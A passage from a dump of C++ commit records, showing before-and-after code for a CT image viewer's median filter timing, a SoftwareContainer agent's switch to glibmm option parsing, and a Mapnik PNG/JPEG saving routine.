);\r\n\twindow.height->value( h );\r\n\twindow.depth->value( d );\r\n\twindow.sizeX->value( x );\r\n\twindow.sizeY->value( y );\r\n\twindow.sizeZ->value( z );\r\n\r\n\tif( window.show( ) )\r\n\t{\r\n\t\tw = static_cast< size_type >( window.width->value( ) );\r\n\t\th = static_cast< size_type >( window.height->value( ) );\r\n\t\td = static_cast< size_type >( window.depth->value( ) );\r\n\t\tx = window.sizeX->value( );\r\n\t\ty = window.sizeY->value( );\r\n\t\tz = window.sizeZ->value( );\r\n\r\n\t\tif( mist::read_raw( ct, filename, w, h, d, x, y, z ) )\r\n\t\t{\r\n\t\t\twnd->Indx->range( 0, ct.depth( ) - 1 );\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\twnd->Indx->range( 0, 0 );\r\n\t\t}\r\n\t\twnd->Indx->value( 0 );\r\n\t\tchange_index( 0 );\r\n\t}\r\n}\r\n\r\nvoid ct_draw_area::write_image( ct_image_window *w )\r\n{\r\n\tconst char *filename = fl_file_chooser( \"Save\", \"*\", \"\" );\r\n\tif( filename == NULL ) return;\r\n\r\n\tmist::write_raw_gz( ct, filename );\r\n}\r\n\r\nvoid ct_draw_area::change_index( size_type index )\r\n{\r\n\tif( 0 <= index && index < ct.depth( ) )\r\n\t{\r\n\t\tindex_ = index;\r\n\t\tdraw_image( );\r\n\t\tredraw( );\r\n\t\tFl::wait( 0 );\r\n\t}\r\n}\r\n\r\nvoid ct_draw_area::change_window_level( double wl )\r\n{\r\n\twindow_level_ = wl;\r\n\tdraw_image( );\r\n\tredraw( );\r\n\tFl::wait( 0 );\r\n}\r\n\r\nvoid ct_draw_area::change_window_width( double ww )\r\n{\r\n\twindow_width_ = ww;\r\n\tdraw_image( );\r\n\tredraw( );\r\n\tFl::wait( 0 );\r\n}\r\n\r\nvoid ct_draw_area::median_filter1D( ct_image_window *wnd )\r\n{\r\n\tmist::array< int > a( 7 ), b( 7 );\r\n\ta[ 0 ] = 0;\r\n\ta[ 1 ] = 4;\r\n\ta[ 2 ] = 2;\r\n\ta[ 3 ] = 3;\r\n\ta[ 4 ] = 2;\r\n\ta[ 5 ] = 4;\r\n\ta[ 6 ] = 0;\r\n\r\n\tstd::cout << a << std::endl;\r\n\tmist::median_filter( a, b, 3 );\r\n\tstd::cout << b << std::endl;\r\n}\r\n\r\nvoid ct_draw_area::median_filter2D( ct_image_window *wnd )\r\n{\r\n\tmist::array2< int > a( 5, 5 ), b( 5, 5 );\r\n\ta( 0, 0 ) = 0; a( 0, 1 ) = 0; a( 0, 2 ) = 0; a( 0, 3 ) = 0; a( 0, 4 ) = 0;\r\n\ta( 1, 0 ) = 0; a( 1, 1 ) = 4; a( 1, 2 ) = 5; a( 1, 3 ) = 4; a( 1, 4 ) = 0;\r\n\ta( 2, 0 ) = 0; a( 2, 1 ) = 3; a( 2, 2 ) = 2; a( 2, 3 ) = 3; a( 2, 4 ) = 0;\r\n\ta( 3, 0 ) = 0; a( 3, 1 ) = 4; a( 3, 2 ) = 5; a( 3, 3 ) = 4; a( 3, 4 ) = 0;\r\n\ta( 4, 0 ) = 0; a( 4, 1 ) = 0; a( 4, 2 ) = 0; a( 4, 3 ) = 0; a( 4, 4 ) = 0;\r\n\r\n\tstd::cout << a << std::endl;\r\n\tmist::median_filter( a, b, 3, 3 );\r\n\tstd::cout << b << std::endl;\r\n}\r\n\r\nvoid ct_draw_area::median_filter3D( ct_image_window *wnd )\r\n{\r\n\tif( ct.empty( ) ) return;\r\n\r\n\tmist::array3< short > tmp = ct;\r\n\tmist::median_filter( tmp, ct, 3, 3, 3 );\r\n\tredraw( );\r\n\tFl::wait( 0 );\r\n}\r\n\r\nvoid ct_draw_area::euclidean_distance_transform( ct_image_window *wnd )\r\n{\r\n\tif( ct.empty( ) ) return;\r\n\r\n\tmist::array3< short > tmp = ct;\r\n\tmist::euclidean_distance_transform( tmp, ct );\r\n\tredraw( );\r\n\tFl::wait( 0 );\r\n}\r\n\r\nint main( int argc, char *argv[] )\r\n{\r\n\tct_image_window window;\r\n\tFl::gl_visual( FL_RGB );\r\n\twindow.show( );\r\n\tFl::background( 212, 208, 200 );\r\n\tFl::run();\r\n}\r\n<commit_msg>メディアンフィルタの計算時間を表示<commit_after>#include <mist\/io\/raw.h>\r\n#include <mist\/draw.h>\r\n#include <iostream>\r\n#include \"ct_image_window.h\"\r\n#include <FL\/Fl_File_Chooser.H>\r\n\r\n\r\n#include <mist\/filter\/median_filter.h>\r\n#include <mist\/filter\/distance.h>\r\n#include <mist\/timer.h>\r\n\r\nvoid ct_draw_area::draw( )\r\n{\r\n\tmist::draw_image( buff, w( ), h( ) );\r\n}\r\n\r\nvoid ct_draw_area::draw_image( )\r\n{\r\n\tif( ct.empty( ) )\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\r\n\tif( draw_flag_ )\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\r\n\tdraw_flag_ = true;\r\n\r\n\tif( buff.width( ) != ct.width( ) || buff.height( ) != ct.height( ) )\r\n\t{\r\n\t\tbuff.resize( ct.width( ), ct.height( ) );\r\n\t}\r\n\tbuff.reso1( ct.reso1( ) );\r\n\tbuff.reso2( ct.reso2( ) );\r\n\r\n\tmist::array3< short >::size_type i, j;\r\n\tdouble pixel;\r\n\tfor( j = 0 ; j < ct.height( ) ; j++ )\r\n\t{\r\n\t\tfor( i = 0 ; i < ct.width( ) ; i++ )\r\n\t\t{\r\n\t\t\tpixel = ( ct( i, j, index_ ) - window_level_ ) \/ window_width_ * 256.0 + 128.0;\r\n\t\t\tpixel = pixel <   0.0 ?   0.0 : pixel;\r\n\t\t\tpixel = pixel > 255.0 ? 255.0 : pixel;\r\n\t\t\tbuff( i, j ) = static_cast< unsigned char >( pixel );\r\n\t\t}\r\n\t}\r\n\r\n\tdraw_flag_ = false;\r\n}\r\n\r\nvoid ct_draw_area::read_image( ct_image_window *wnd )\r\n{\r\n\tconst char *filename = fl_file_chooser( \"Open\", \"*\", \"\" );\r\n\tif( filename == NULL ) return;\r\n\r\n\tsize_type w = 512;\r\n\tsize_type h = 512;\r\n\tsize_type d = 189;\r\n\tdouble x = 0.625;\r\n\tdouble y = 0.625;\r\n\tdouble z = 1.0;\r\n\r\n\tparameter_window window;\r\n\twindow.width->value( w );\r\n\twindow.height->value( h );\r\n\twindow.depth->value( d );\r\n\twindow.sizeX->value( x );\r\n\twindow.sizeY->value( y );\r\n\twindow.sizeZ->value( z );\r\n\r\n\tif( window.show( ) )\r\n\t{\r\n\t\tw = static_cast< size_type >( window.width->value( ) );\r\n\t\th = static_cast< size_type >( window.height->value( ) );\r\n\t\td = static_cast< size_type >( window.depth->value( ) );\r\n\t\tx = window.sizeX->value( );\r\n\t\ty = window.sizeY->value( );\r\n\t\tz = window.sizeZ->value( );\r\n\r\n\t\tif( mist::read_raw( ct, filename, w, h, d, x, y, z ) )\r\n\t\t{\r\n\t\t\twnd->Indx->range( 0, ct.depth( ) - 1 );\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\twnd->Indx->range( 0, 0 );\r\n\t\t}\r\n\t\twnd->Indx->value( 0 );\r\n\t\tchange_index( 0 );\r\n\t}\r\n}\r\n\r\nvoid ct_draw_area::write_image( ct_image_window *w )\r\n{\r\n\tconst char *filename = fl_file_chooser( \"Save\", \"*\", \"\" );\r\n\tif( filename == NULL ) return;\r\n\r\n\tmist::write_raw_gz( ct, filename );\r\n}\r\n\r\nvoid ct_draw_area::change_index( size_type index )\r\n{\r\n\tif( 0 <= index && index < ct.depth( ) )\r\n\t{\r\n\t\tindex_ = index;\r\n\t\tdraw_image( );\r\n\t\tredraw( );\r\n\t\tFl::wait( 0 );\r\n\t}\r\n}\r\n\r\nvoid ct_draw_area::change_window_level( double wl )\r\n{\r\n\twindow_level_ = wl;\r\n\tdraw_image( );\r\n\tredraw( );\r\n\tFl::wait( 0 );\r\n}\r\n\r\nvoid ct_draw_area::change_window_width( double ww )\r\n{\r\n\twindow_width_ = ww;\r\n\tdraw_image( );\r\n\tredraw( );\r\n\tFl::wait( 0 );\r\n}\r\n\r\nvoid ct_draw_area::median_filter1D( ct_image_window *wnd )\r\n{\r\n\tmist::array< int > a( 7 ), b( 7 );\r\n\ta[ 0 ] = 0;\r\n\ta[ 1 ] = 4;\r\n\ta[ 2 ] = 2;\r\n\ta[ 3 ] = 3;\r\n\ta[ 4 ] = 2;\r\n\ta[ 5 ] = 4;\r\n\ta[ 6 ] = 0;\r\n\r\n\tstd::cout << a << std::endl;\r\n\tmist::median_filter( a, b, 3 );\r\n\tstd::cout << b << std::endl;\r\n}\r\n\r\nvoid ct_draw_area::median_filter2D( ct_image_window *wnd )\r\n{\r\n\tmist::array2< int > a( 5, 5 ), b( 5, 5 );\r\n\ta( 0, 0 ) = 0; a( 0, 1 ) = 0; a( 0, 2 ) = 0; a( 0, 3 ) = 0; a( 0, 4 ) = 0;\r\n\ta( 1, 0 ) = 0; a( 1, 1 ) = 4; a( 1, 2 ) = 5; a( 1, 3 ) = 4; a( 1, 4 ) = 0;\r\n\ta( 2, 0 ) = 0; a( 2, 1 ) = 3; a( 2, 2 ) = 2; a( 2, 3 ) = 3; a( 2, 4 ) = 0;\r\n\ta( 3, 0 ) = 0; a( 3, 1 ) = 4; a( 3, 2 ) = 5; a( 3, 3 ) = 4; a( 3, 4 ) = 0;\r\n\ta( 4, 0 ) = 0; a( 4, 1 ) = 0; a( 4, 2 ) = 0; a( 4, 3 ) = 0; a( 4, 4 ) = 0;\r\n\r\n\tstd::cout << a << std::endl;\r\n\tmist::median_filter( a, b, 3, 3 );\r\n\tstd::cout << b << std::endl;\r\n}\r\n\r\nvoid ct_draw_area::median_filter3D( ct_image_window *wnd )\r\n{\r\n\tif( ct.empty( ) ) return;\r\n\r\n\tmist::array3< short > tmp = ct;\r\n\t{\r\n\t\tmist::timer t;\r\n\t\tmist::median_filter( tmp, ct, 3, 3, 3 );\r\n\t\tstd::cout << \"Computation Time: \" << t.elapse( ) << std::endl;\r\n\t}\r\n\tredraw( );\r\n\tFl::wait( 0 );\r\n}\r\n\r\nvoid ct_draw_area::euclidean_distance_transform( ct_image_window *wnd )\r\n{\r\n\tif( ct.empty( ) ) return;\r\n\r\n\tmist::array3< short > tmp = ct;\r\n\tmist::euclidean_distance_transform( tmp, ct );\r\n\tredraw( );\r\n\tFl::wait( 0 );\r\n}\r\n\r\nint main( int argc, char *argv[] )\r\n{\r\n\tct_image_window window;\r\n\tFl::gl_visual( FL_RGB );\r\n\twindow.show( );\r\n\tFl::background( 212, 208, 200 );\r\n\tFl::run();\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2016 Pelagicore AB\n *\n * Permission to use, copy, modify, and\/or distribute this software for\n * any purpose with or without fee is hereby granted, provided that the\n * above copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR\n * BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES\n * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,\n * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,\n * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS\n * SOFTWARE.\n *\n * For further information see LICENSE\n *\/\n\n#include \"softwarecontaineragentadaptor.h\"\n\nLOG_DEFINE_APP_IDS(\"SCAG\", \"SoftwareContainer agent\");\n\nnamespace softwarecontainer {\n    LOG_DECLARE_DEFAULT_CONTEXT(PAM_DefaultLogContext, \"MAIN\", \"Main context\");\n}\n\nvoid usage(const char *argv0)\n{\n    printf(\"SoftwareContainer agent, v.%s\\n\", PACKAGE_VERSION);\n    printf(\"Usage: %s [options]\\n\", argv0);\n    printf(\"Options:\\n\");\n    printf(\"  -p, --preload <num>     : Number of containers to preload, defaults to 0\\n\");\n    printf(\"  -u, --user <uid>        : Default user id to be used when starting processes in the container, defaults to 0\\n\");\n    printf(\"  -s, --shutdown <bool>   : If false, containers will not be shutdown on exit. Useful for debugging. Defaults to true\\n\");\n    printf(\"  -t, --timeout <seconds> : Timeout in seconds to wait for containers to shutdown, defaults to 1\\n\");\n    printf(\"  -m, --manifest <path>   : Path to a file or directory where service manifest(s) exist, defaults to \\\"\\\"\\n\");\n    printf(\"  -b, --session-bus       : Use the session bus instead of the system bus\\n\");\n    printf(\"  -h, --help              : Prints this help message and exits.\\n\");\n}\n\n\/*\n * When we get signals that can be trapped, we want the main loop to be quitted.\n *\/\nint signalHandler(void *data) {\n    log_debug() << \"Caught signal, exiting!\";\n    Glib::RefPtr<Glib::MainLoop> *ml = static_cast<Glib::RefPtr<Glib::MainLoop> *>(data);\n    (*ml)->quit();\n    return 0;\n}\n\n\/*\n * Tries to register the agent on the given bus. If the system bus is given and fails,\n * this tries to register to the session bus instead.\n *\n * Throws a ReturnCode on failure\n *\/\nDBus::Connection getBusConnection(bool useSystemBus)\n{\n    std::string busStr = useSystemBus ? \"system\" : \"session\";\n    try {\n        DBus::Connection bus = useSystemBus ? DBus::Connection::SystemBus()\n                                            : DBus::Connection::SessionBus();\n\n        \/\/ Check if the name is available or not\n        bool alreadyTaken = bus.has_name(AGENT_BUS_NAME);\n        if (alreadyTaken) {\n            log_error() << AGENT_BUS_NAME << \" is already taken on the \" << busStr << \" bus.\";\n            throw ReturnCode::FAILURE;\n        }\n\n        DBus::Connection connection(bus);\n        connection.request_name(AGENT_BUS_NAME);\n        return connection;\n\n    } catch (DBus::Error &err) {\n        log_warning() << \"Could not register \" << AGENT_BUS_NAME << \" to the \" << busStr << \" bus\";\n        throw ReturnCode::FAILURE;\n    }\n}\n\n\nint main(int argc, char **argv)\n{\n    static struct option long_options[] =\n    {\n        { \"preload\",     required_argument, 0, 'p' },\n        { \"user\",        required_argument, 0, 'u' },\n        { \"shutdown\",    required_argument, 0, 's' },\n        { \"timeout\",     required_argument, 0, 't' },\n        { \"manifest\",    required_argument, 0, 'm' },\n        { \"session-bus\", no_argument,       0, 'b' },\n        { \"help\",        no_argument,       0, 'h' },\n        { 0, 0, 0, 0 }\n    };\n\n    int preloadCount = 0;\n    int userID = 0;\n    bool shutdownContainers = true;\n    int timeout = 1;\n    std::string servicemanifest = \"\";\n    bool useSystemBus = true;\n\n    int option_index = 0;\n    int c = 0;\n    while((c = getopt_long(argc, argv, \"p:u:s:t:m:hb\", long_options, &option_index)) != -1) {\n        switch(c) {\n            case 'p':\n                if (!parseInt(optarg, &preloadCount)) {\n                    usage(argv[0]);\n                    exit(1);\n                }\n                break;\n            case 'u':\n                if (!parseInt(optarg, &userID)) {\n                    usage(argv[0]);\n                    exit(1);\n                }\n                break;\n            case 's':\n                shutdownContainers = std::string(optarg).compare(\"true\") == 0;\n                break;\n            case 't':\n                if (!parseInt(optarg, &timeout)) {\n                    usage(argv[0]);\n                    exit(1);\n                }\n                break;\n            case 'm':\n                servicemanifest = std::string(optarg);\n                break;\n            case 'b':\n                useSystemBus = false;\n                break;\n            case 'h':\n                usage(argv[0]);\n                exit(0);\n                break;\n\n            case '?':\n                usage(argv[0]);\n                exit(1);\n                break;\n        }\n    }\n\n    profilepoint(\"softwareContainerStart\");\n    log_debug() << \"Starting softwarecontainer agent\";\n\n    Glib::RefPtr<Glib::MainContext> mainContext = Glib::MainContext::get_default();\n    Glib::RefPtr<Glib::MainLoop> ml = Glib::MainLoop::create(mainContext);\n\n    DBus::Glib::BusDispatcher dbusDispatcher;\n    DBus::default_dispatcher = &dbusDispatcher;\n    dbusDispatcher.attach(mainContext->gobj());\n\n    try {\n        DBus::Connection connection = getBusConnection(useSystemBus);\n        SoftwareContainerAgent agent(mainContext,\n                                     preloadCount,\n                                     shutdownContainers,\n                                     timeout,\n                                     servicemanifest);\n        std::unique_ptr<SoftwareContainerAgentAdaptor> adaptor =\n            std::unique_ptr<SoftwareContainerAgentAdaptor>(\n                new DBusCppAdaptor(connection, AGENT_OBJECT_PATH, agent)\n            );\n\n        \/\/ Register UNIX signal handler\n        g_unix_signal_add(SIGINT, &signalHandler, &ml);\n        g_unix_signal_add(SIGTERM, &signalHandler, &ml);\n        ml->run();\n\n        log_debug() << \"Exiting softwarecontainer agent\";\n        return 0;\n    } catch (ReturnCode failure) {\n        log_error() << \"Agent initialization failed\";\n        return 1;\n    }\n\n}\n<commit_msg>Uses glibmm for cmdline option handling<commit_after>\/*\n * Copyright (C) 2016 Pelagicore AB\n *\n * Permission to use, copy, modify, and\/or distribute this software for\n * any purpose with or without fee is hereby granted, provided that the\n * above copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR\n * BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES\n * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,\n * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,\n * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS\n * SOFTWARE.\n *\n * For further information see LICENSE\n *\/\n\n#include \"softwarecontaineragentadaptor.h\"\n#include <glibmm\/optioncontext.h>\n\nLOG_DEFINE_APP_IDS(\"SCAG\", \"SoftwareContainer agent\");\n\nnamespace softwarecontainer {\n    LOG_DECLARE_DEFAULT_CONTEXT(PAM_DefaultLogContext, \"MAIN\", \"Main context\");\n}\n\n\/*\n * When we get signals that can be trapped, we want the main loop to be quitted.\n *\/\nint signalHandler(void *data) {\n    log_debug() << \"Caught signal, exiting!\";\n    Glib::RefPtr<Glib::MainLoop> *ml = static_cast<Glib::RefPtr<Glib::MainLoop> *>(data);\n    (*ml)->quit();\n    return 0;\n}\n\n\/*\n * Tries to register the agent on the given bus. If the system bus is given and fails,\n * this tries to register to the session bus instead.\n *\n * Throws a ReturnCode on failure\n *\/\nDBus::Connection getBusConnection(bool useSessionBus)\n{\n    std::string busStr = useSessionBus ? \"session\" : \"system\";\n    try {\n        DBus::Connection bus = useSessionBus ? DBus::Connection::SessionBus()\n                                             : DBus::Connection::SystemBus();\n\n        \/\/ Check if the name is available or not\n        bool alreadyTaken = bus.has_name(AGENT_BUS_NAME);\n        if (alreadyTaken) {\n            log_error() << AGENT_BUS_NAME << \" is already taken on the \" << busStr << \" bus.\";\n            throw ReturnCode::FAILURE;\n        }\n\n        DBus::Connection connection(bus);\n        connection.request_name(AGENT_BUS_NAME);\n        log_debug() << \"Registered \" << AGENT_BUS_NAME << \" on the \" << busStr << \" bus.\";\n        return connection;\n\n    } catch (DBus::Error &err) {\n        log_warning() << \"Could not register \" << AGENT_BUS_NAME << \" to the \" << busStr << \" bus\";\n        throw ReturnCode::FAILURE;\n    }\n}\n\n\nint main(int argc, char **argv)\n{\n    Glib::OptionEntry preloadOpt;\n    preloadOpt.set_long_name(\"preload\");\n    preloadOpt.set_short_name('p');\n    preloadOpt.set_arg_description(\"<number>\");\n    preloadOpt.set_description(\"Number of containers to preload, defaults to 0\");\n\n    Glib::OptionEntry userOpt;\n    userOpt.set_long_name(\"user\");\n    userOpt.set_short_name('u');\n    userOpt.set_arg_description(\"<uid>\");\n    userOpt.set_description(\"Default user id to be used when starting processes in the container, defaults to 0\");\n\n    Glib::OptionEntry shutdownOpt;\n    shutdownOpt.set_long_name(\"shutdown\");\n    shutdownOpt.set_short_name('s');\n    shutdownOpt.set_arg_description(\"<bool>\");\n    shutdownOpt.set_description(\"If false, containers will not be shutdown on exit. Useful for debugging. Defaults to true\");\n\n    Glib::OptionEntry timeoutOpt;\n    timeoutOpt.set_long_name(\"timeout\");\n    timeoutOpt.set_short_name('t');\n    timeoutOpt.set_arg_description(\"<seconds>\");\n    timeoutOpt.set_description(\"Timeout in seconds to wait for containers to shutdown, defaults to 1\");\n\n    Glib::OptionEntry manifestOpt;\n    manifestOpt.set_long_name(\"manifest\");\n    manifestOpt.set_short_name('m');\n    manifestOpt.set_arg_description(\"<filepath>\");\n    manifestOpt.set_description(\"Path to a file or directory where service manifest(s) exist, defaults to nothing\");\n\n    Glib::OptionEntry sessionBusOpt;\n    sessionBusOpt.set_long_name(\"session-bus\");\n    sessionBusOpt.set_short_name('b');\n    sessionBusOpt.set_description(\"Use the session bus instead of the system bus\");\n\n    int preloadCount = 0;\n    int userID = 0;\n    bool shutdownContainers = true;\n    int timeout = 1;\n    Glib::ustring servicemanifest = \"\";\n    bool useSessionBus = false;\n\n    Glib::OptionGroup mainGroup(\"Options\", \"Options for SoftwareContainer\");\n    mainGroup.add_entry(preloadOpt, preloadCount);\n    mainGroup.add_entry(userOpt, userID);\n    mainGroup.add_entry(shutdownOpt, shutdownContainers);\n    mainGroup.add_entry(timeoutOpt, timeout);\n    mainGroup.add_entry(manifestOpt, servicemanifest);\n    mainGroup.add_entry(sessionBusOpt, useSessionBus);\n\n    Glib::OptionContext optionContext;\n    optionContext.set_help_enabled(true); \/\/ Automatic --help\n    optionContext.set_ignore_unknown_options(false);\n    optionContext.set_summary(\"SoftwareContainer Agent v\" + std::string(PACKAGE_VERSION));\n    optionContext.set_description(\"Documentation is available at http:\/\/pelagicore.github.io\/softwarecontainer\");\n    optionContext.set_main_group(mainGroup);\n\n    try {\n        optionContext.parse(argc, argv);\n    } catch (Glib::OptionError &err) {\n        log_error() << err.what();\n        exit(1);\n    }\n\n    profilepoint(\"softwareContainerStart\");\n    log_debug() << \"Starting softwarecontainer agent\";\n\n    Glib::RefPtr<Glib::MainContext> mainContext = Glib::MainContext::get_default();\n    Glib::RefPtr<Glib::MainLoop> ml = Glib::MainLoop::create(mainContext);\n\n    DBus::Glib::BusDispatcher dbusDispatcher;\n    DBus::default_dispatcher = &dbusDispatcher;\n    dbusDispatcher.attach(mainContext->gobj());\n\n    try {\n        DBus::Connection connection = getBusConnection(useSessionBus);\n        SoftwareContainerAgent agent(mainContext,\n                                     preloadCount,\n                                     shutdownContainers,\n                                     timeout,\n                                     servicemanifest);\n        std::unique_ptr<SoftwareContainerAgentAdaptor> adaptor =\n            std::unique_ptr<SoftwareContainerAgentAdaptor>(\n                new DBusCppAdaptor(connection, AGENT_OBJECT_PATH, agent)\n            );\n\n        \/\/ Register UNIX signal handler\n        g_unix_signal_add(SIGINT, &signalHandler, &ml);\n        g_unix_signal_add(SIGTERM, &signalHandler, &ml);\n        ml->run();\n\n        log_debug() << \"Exiting softwarecontainer agent\";\n        return 0;\n    } catch (ReturnCode failure) {\n        log_error() << \"Agent initialization failed\";\n        return 1;\n    }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\/\/$Id: image_util.cpp 36 2005-04-05 14:32:18Z pavlenko $\n\n\/\/ stl\n#include <string>\n\/\/ mapnik\n#include <mapnik\/graphics.hpp>\n#include <mapnik\/memory.hpp>\n#include <mapnik\/image_util.hpp>\n#include <mapnik\/image_view.hpp>\n\/\/ jpeg png\nextern \"C\"\n{\n#include <png.h>\n#include <jpeglib.h>\n}\n\nnamespace mapnik\n{ \n    template <typename T>\n    void save_to_file(std::string const& filename,\n                      std::string const& type,\n                      T const& image)\n    {\n        \/\/all that should go into image_writer factory\n        if (type==\"png\")\n        {\n            save_as_png(filename,image);\n        } \n        else if (type==\"jpeg\")\n        {\n            save_as_jpeg(filename,85,image);\n        }\n    }\n    \n    template <typename T>\n    void save_as_png(std::string const& filename, T const& image)\n    {\n        FILE *fp=fopen(filename.c_str(), \"wb\");\n        if (!fp) return;\n        png_voidp error_ptr=0;\n        png_structp png_ptr=png_create_write_struct(PNG_LIBPNG_VER_STRING,\n                                                    error_ptr,0, 0);\n\n        if (!png_ptr) return;\n\n        \/\/ switch on optimization only if supported\n#if defined(PNG_LIBPNG_VER) && (PNG_LIBPNG_VER >= 10200) && defined(PNG_ASSEMBLER_CODE_SUPPORTED)\n        png_uint_32 mask, flags;\n\n        flags = png_get_asm_flags(png_ptr);\n        mask = png_get_asm_flagmask(PNG_SELECT_READ | PNG_SELECT_WRITE);\n        png_set_asm_flags(png_ptr, flags | mask);\n#endif\n        png_set_filter (png_ptr, 0, PNG_FILTER_NONE);\n        png_infop info_ptr = png_create_info_struct(png_ptr);\n        if (!info_ptr)\n        {\n            png_destroy_write_struct(&png_ptr,(png_infopp)0);\n            fclose(fp);\n            return;\n        }\n        if (setjmp(png_jmpbuf(png_ptr)))\n        {\n            png_destroy_write_struct(&png_ptr, &info_ptr);\n            fclose(fp);\n            return;\n        }\n\n        png_init_io(png_ptr, fp);\n        \/\/png_set_compression_level(png_ptr, Z_BEST_COMPRESSION);\n        \/\/png_set_compression_strategy(png_ptr, Z_FILTERED);\n        png_set_IHDR(png_ptr, info_ptr,image.width(),image.height(),8,\n                     PNG_COLOR_TYPE_RGB_ALPHA,PNG_INTERLACE_NONE,\n                     PNG_COMPRESSION_TYPE_DEFAULT,PNG_FILTER_TYPE_DEFAULT);\n        png_write_info(png_ptr, info_ptr);\n        for (unsigned i=0;i<image.height();i++)\n        {\n            png_write_row(png_ptr,(png_bytep)image.getRow(i));\n        }\n\n        png_write_end(png_ptr, info_ptr);\n        png_destroy_write_struct(&png_ptr, &info_ptr);\n        fclose(fp);\n    }\n    \n    template <typename T>\n    void save_as_jpeg(std::string const& filename,int quality, T const& image)\n    {\n        FILE *fp=fopen(filename.c_str(), \"wb\");\n        if (!fp) return;\n        struct jpeg_compress_struct cinfo;\n        struct jpeg_error_mgr jerr;\n\n        int width=image.width();\n        int height=image.height();\n\t\n        cinfo.err = jpeg_std_error(&jerr);\n        jpeg_create_compress(&cinfo);\n        jpeg_stdio_dest(&cinfo, fp);\n        cinfo.image_width = width;\n        cinfo.image_height = height;\n        cinfo.input_components = 3;\n        cinfo.in_color_space = JCS_RGB; \n        jpeg_set_defaults(&cinfo);\n        jpeg_set_quality(&cinfo, quality,1);\n        jpeg_start_compress(&cinfo, 1);\n        JSAMPROW row_pointer[1];\n        JSAMPLE* row=new JSAMPLE[width*3];\n        \n        while (cinfo.next_scanline < cinfo.image_height) \n        {\n            const unsigned* imageRow=image.getRow(cinfo.next_scanline);\n            int index=0;\n            for (int i=0;i<width;++i)\n            {\n                row[index++]=(imageRow[i])&0xff;\n                row[index++]=(imageRow[i]>>8)&0xff;\n                row[index++]=(imageRow[i]>>16)&0xff;\n            }\n            row_pointer[0] = &row[0];\n            (void) jpeg_write_scanlines(&cinfo, row_pointer, 1);\n        }\n        delete [] row;\n        jpeg_finish_compress(&cinfo);\n        fclose(fp);\n        jpeg_destroy_compress(&cinfo);\n    }  \n    \n    template void save_to_file<ImageData32>(std::string const&,\n                                            std::string const& , \n                                            ImageData32 const&);\n\n    template void save_to_file<image_view<ImageData32> > (std::string const&,\n                                                          std::string const& , \n                                                          image_view<ImageData32> const&);\n    \n}\n<commit_msg>use PNG_MMX_CODE_SUPPORTED instead of PNG_ASSEMBLER_CODE_SUPPORTED (mmx.patch from Dominic Hargreaves)<commit_after>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\/\/$Id: image_util.cpp 36 2005-04-05 14:32:18Z pavlenko $\n\n\/\/ stl\n#include <string>\n\/\/ mapnik\n#include <mapnik\/graphics.hpp>\n#include <mapnik\/memory.hpp>\n#include <mapnik\/image_util.hpp>\n#include <mapnik\/image_view.hpp>\n\/\/ jpeg png\nextern \"C\"\n{\n#include <png.h>\n#include <jpeglib.h>\n}\n\nnamespace mapnik\n{ \n    template <typename T>\n    void save_to_file(std::string const& filename,\n                      std::string const& type,\n                      T const& image)\n    {\n        \/\/all that should go into image_writer factory\n        if (type==\"png\")\n        {\n            save_as_png(filename,image);\n        } \n        else if (type==\"jpeg\")\n        {\n            save_as_jpeg(filename,85,image);\n        }\n    }\n    \n    template <typename T>\n    void save_as_png(std::string const& filename, T const& image)\n    {\n        FILE *fp=fopen(filename.c_str(), \"wb\");\n        if (!fp) return;\n        